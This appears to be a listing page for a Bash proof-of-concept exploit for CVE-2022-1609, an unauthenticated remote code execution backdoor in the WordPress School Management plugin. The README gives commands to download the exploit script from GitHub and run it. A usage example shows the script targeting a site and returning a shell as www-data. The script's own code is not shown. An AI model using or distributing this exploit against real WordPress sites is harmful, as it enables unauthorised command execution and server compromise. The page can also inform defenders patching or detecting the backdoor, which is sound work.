CVE-2022-1609 PoC — The School Management < 9.9.7 - Unauthenticated RCE via REST api

Source

Associated Vulnerability

Description

Bash poc for CVE-2022-1609 WordPress Weblizar Backdoor

Readme

# CVE-2022-1609
Bash poc for CVE-2022-1609 WordPress Weblizar  Backdoor

# How to install ?

```
wget https://raw.githubusercontent.com/0xSojalSec/CVE-2022-1609/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
```

# How to use it ?

```bash
GH0ST_3exP10it$ ./exploit.sh http://127.0.0.1:8080
[+]  Targeting http://127.0.0.1:8080
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

```

File Snapshot

 [4.0K]  /data/pocs/b0e5dbf04dfcfdc8d9302e9d7e52a35c19359f93
├── [ 447]  exploit.sh
└── [ 412]  README.md

0 directories, 2 files

Remarks